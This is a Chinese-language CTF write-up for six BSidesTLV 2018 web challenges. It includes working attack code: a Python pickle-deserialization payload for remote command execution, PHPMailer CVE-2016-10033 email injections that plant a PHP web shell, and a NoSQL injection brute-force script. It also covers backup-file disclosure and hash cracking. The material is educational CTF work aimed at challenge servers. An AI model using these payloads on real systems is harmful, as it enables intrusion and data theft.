百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术流 > 正文

BSidesTLV 2018 CTF WriteUp(附CTF环境)

citgpt 2024-06-26 14:55 7 浏览 0 评论

0×01 前言

BSidesTLV 2018 CTF是2018年6月19日的一次CTF比赛,本来这个WriteUp早就想写了,但是比赛结束没环境复现,直到最近发现官方居然放出了比赛环境。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

CTF比赛环境下载:

magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7
格式:Virtual Machine (Virtualbox - OVA)
系统:Linux
CTFD用户账户 user:user
CTFD Admin 账户 bsidestlv:bsidestlv
Boot2Docker SSH: docker:tcuser

0×02 WriteUp

Redirect me

题目地址:http://challenges.bsidestlv.com:8081

打开地址我们可以发现页面在重定向

我们查看响应内容没有发现有价值的线索,只知道它一直在重定向,这时我们注意到18.html,那么flag会不会还在后面呢,我们修改一下。发现果然继续重定向到37.html,最终在40.html发现了线索。

查看response内容得到FLAG

IH8emacs

题目地址:http://challenges.bsidestlv.com:8443

打开题目地址我们可以看到非常华丽的网站

从题目的名称和描述来看,应该是要先寻找emacs创建的备份文件。Emacs,著名的集成开发环境和文本编辑器。当使用emacs编辑文件时,它会在名称的末尾创建一个带有波浪号的备份。

我们来尝试首页有没有备份文件

http://challenges.bsidestlv.com:8443/index.php~

我们找到了一段被注释的代码,往下面翻,发现了被注释的管理界面地址。

http://challenges.bsidestlv.com:8443/administration/

访问该页面,发现需要登录。

我们可能需要去寻找登录凭证

.htaccess~
.htpasswd~

在.htpasswd~中发现登录凭证

使用john破解hash

bsidestlv:performa

复制粘贴破解少了个bs,不影响结果,加上就好了。最终登录得到FLAG

Creative Agency

题目地址:http://challenges.bsidestlv.com:3333

描述直接给了flag绝对路径

在浏览网站中我们发现了图像的加载很奇怪

/img?file=?d?˙1puno?????q/???/˙

加上描述给我们的绝对路径,这应该是一个任意文件读取漏洞,但是我们需要了解file参数的路径规律。

?d?˙2??o?/???/˙
如果我们倒过来看
./img/work2.jpg

那我们怎么来颠倒路径呢,为此我收集了网站上的url路径。

?d?˙1puno?????q/???/˙ //background
?d?˙1?noq?/???/˙ //about
?d?˙1os??d/???/˙ //perso
?d?˙1????/???/˙ //team
?d?˙1?o?q/???/˙ //blog
?ud˙???-o?o?/??? //logo-alt
?d?˙?sod-?o?q/???/˙ //blog-post
?d?˙?o??n?/???/˙ //author
/home/bsidestlv/flag.txt
?x?˙????/???s?p?sq/??o?/˙˙

这是一件耗费时间的活

I’m Pickle Rick!

题目地址:http://challenges.bsidestlv.com:8088

访问题目地址

查看源代码,我们发现一段有趣的脚本

<script>
 var members;
 function pickleRick() {
 $('.pickleimg').fadeIn(1000);
 anatomyParkMembers("morty");
 }
 function anatomyParkMembers(visitor) {
 var url = "/getMembers.html";
 if (visitor) {
 url += "?visitor=" + visitor
 }
 $.get(url, function (data) {
 $(".result").html(data);
 localStorage.setItem("anatomyParkMembers", data);
 });
 }
 function statusAnatomyParkMembers() {
 if (localStorage.getItem("anatomyParkMembers") === null) {
 return false;
 }
 // DEFLATE
 $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
 format: "json"
 }).done(function (data) {
 members = data;
 });
 }
</script>
<script>
 $(document).ready(function () {
 if (localStorage.getItem("anatomyParkMembers") === null) {
 anatomyParkMembers();
 }
 setInterval(function () {
 statusAnatomyParkMembers();
 }, 10000);
 });
</script>

背景视频

<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
<source src="/static/Untitled.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>

看起来很乱,我们先来理一下网站运行流程:

首先网站运行背景视频,当视频运行结束后执行onended属性的pickleRick()函数
pickleRick()函数继续调用anatomyParkMembers()函数,并传入参数morty
anatomyParkMembers()函数拼接了URL
/getMembers.html?visitor=morty
然后发送了一个GET请求到/getMembers.html?visitor=morty
调用函数statusAnatomyParkMembers()
我们访问/getMembers.html?visitor=morty得到结果
eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE

最终调用statusAnatomyParkMembers()函数后请求如下:

这样运行流程就很清楚了

访问 /getMembers.html 将变量visitor内容添加到json数组中,以某种方式处理返回了结果。
访问 /statusMembers.html?data= 获取打包数据并解压缩返回json

查看每个步骤数据包头,我们可以发现使用了gzip, deflate

我们尝试打包命令发送给/statusMembers.html?data=看看会发生什么

import zlib
import requests
import base64
def create_command(cmd, args, flags):
 mould = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
 return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9))
targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(targeturl.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

继续使用cat命令读取一下flag.txt

r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))

ContactUs

题目地址:http://challenges.bsidestlv.com:8080

访问题目地址

通过题目标题可以猜测关键点应该在Contact Us功能处,PHP网站+可能发送邮件的功能

我们尝试发送邮件

猜测是CVE-2016-10033,也就是PHPMailer < 5.2.18 远程代码执行漏洞

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.php is"@qq.com
Message: <?php phpinfo(); ?>
返回内容:
You are so close! please change the backdoor location to: /var/www/html/cache/d246b1e461bf.php

我们来修改一下

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.php is"@qq.com
Message: <?php echo exec('cat $(find / -name flag.txt)'); ?>

提交后我们需要等待一段时间,然后我们就可以访问/cache/d246b1e461bf.php拿到flag

NoSocket

题目地址:http://challenges.bsidestlv.com:8030/login

打开题目

查看源代码

<script>
 var ws;
 var url = 'ws://' + location.hostname + ':8000/login';
 function openSocket() {
 ws = new WebSocket(url);
 ws.binaryType = 'arraybuffer'; // default is 'blob'
 ws.onopen = function() {
 console.log('open');
 };
 ws.onclose = function() {
 console.log('close');
 };
 ws.onmessage = function(e) {
 if (e.data instanceof ArrayBuffer) {
 log(decodeCharCode(new Uint8Array(e.data)));
 } else {
 log(e.data);
 }
 };
 ws.onerror = function() {
 log('error');
 closeSocket();
 };
 }
 function closeSocket() {
 log('closing');
 ws.close();
 }
 function login() {
 var data = {}; // <- initialize an object, not an array
 data["username"] = document.getElementById('username').value;
 data["password"] = document.getElementById('password').value;
 val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
 // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
 ws.send(val);
 }
 function decodeCharCode(data) {
 var res = '';
 for (var i = 0, len = data.length; i < len; i++) {
 var value = data[i];
 res += String.fromCharCode(value);
 }
 return res;
 }
 function log(message) {
 alert(message)
 }
 openSocket()
</script>

我们可以看到他的验证方式,使用admin为用户名,我们尝试

admin
' || 1 == '1

弹出Success!表明成功啦,题目描述提示我们password就是flag,所以我们需要知道password到底是多少而不是绕过验证。

admin
' || this.password[0] == 'B

猜测password第一个字符是不是B

我们知道所有flag的格式是BSidesTLV{},那么接下来就很简单了

import string
from websocket import create_connection
def datachar(i):
 for char in string.printable:
 password = "' || this.password[%d] == '%s" % (i, char)
 data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password
 ws.send(data)
 response = ws.recv()
 if "Success!" in response:
 return char
ws = create_connection("ws://challenges.bsidestlv.com:8000/login")
response = ""
for i in range(10, 30):
 if datachar(i) is None:
 break
 response += datachar(i)
 print response
print 'Flag: BSidesTLV{' + response
ws.close()

运行结果:

0×03 总结

BSidesTLV 2018 CTF题目量真的不少,自己再写一遍WriteUp感觉收获挺多,文章针对题目讲解应该还是比较详细,所以篇幅过长啦,WriteUp都是web题,本人水平有限,如有不足或者文章有描述错误的还请指出,谢谢。

*本文作者:zusheng,转载请注明来自FreeBuf.COM

相关推荐

js中arguments详解

一、简介了解arguments这个对象之前先来认识一下javascript的一些功能:其实Javascript并没有重载函数的功能,但是Arguments对象能够模拟重载。Javascrip中每个函数...

firewall-cmd 常用命令

目录firewalldzone说明firewallzone内容说明firewall-cmd常用参数firewall-cmd常用命令常用命令 回到顶部firewalldzone...

epel-release 是什么

EPEL-release(ExtraPackagesforEnterpriseLinux)是一个软件仓库,它为企业级Linux发行版(如CentOS、RHEL等)提供额外的软件包。以下是关于E...

FullGC详解  什么是 JVM 的 GC
FullGC详解 什么是 JVM 的 GC

前言:背景:一、什么是JVM的GC?JVM(JavaVirtualMachine)。JVM是Java程序的虚拟机,是一种实现Java语言的解...

2024-10-26 08:50 citgpt

使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
跨域(CrossOrigin)

1.介绍  1)跨域问题:跨域问题是在网络中,当一个网络的运行脚本(通常时JavaScript)试图访问另一个网络的资源时,如果这两个网络的端口、协议和域名不一致时就会出现跨域问题。    通俗讲...

微服务架构和分布式架构的区别

1、含义不同微服务架构:微服务架构风格是一种将一个单一应用程序开发为一组小型服务的方法,每个服务运行在自己的进程中,服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并...

深入理解与应用CSS clip-path 属性
深入理解与应用CSS clip-path 属性

clip-pathclip-path是什么clip-path 是一个CSS属性,允许开发者创建一个剪切区域,从而决定元素的哪些部分可见,哪些部分会被隐...

2024-10-25 11:51 citgpt

HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
Request.ServerVariables 大全

Request.ServerVariables("Url")返回服务器地址Request.ServerVariables("Path_Info")客户端提供的路...

python操作Kafka

目录一、python操作kafka1.python使用kafka生产者2.python使用kafka消费者3.使用docker中的kafka二、python操作kafka细...

Runtime.getRuntime().exec详解

Runtime.getRuntime().exec详解概述Runtime.getRuntime().exec用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。...

promise.all详解 promise.all是干什么的
promise.all详解 promise.all是干什么的

promise.all详解promise.all中所有的请求成功了,走.then(),在.then()中能得到一个数组,数组中是每个请求resolve抛出的结果...

2024-10-24 16:21 citgpt

Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解

取消回复欢迎 发表评论: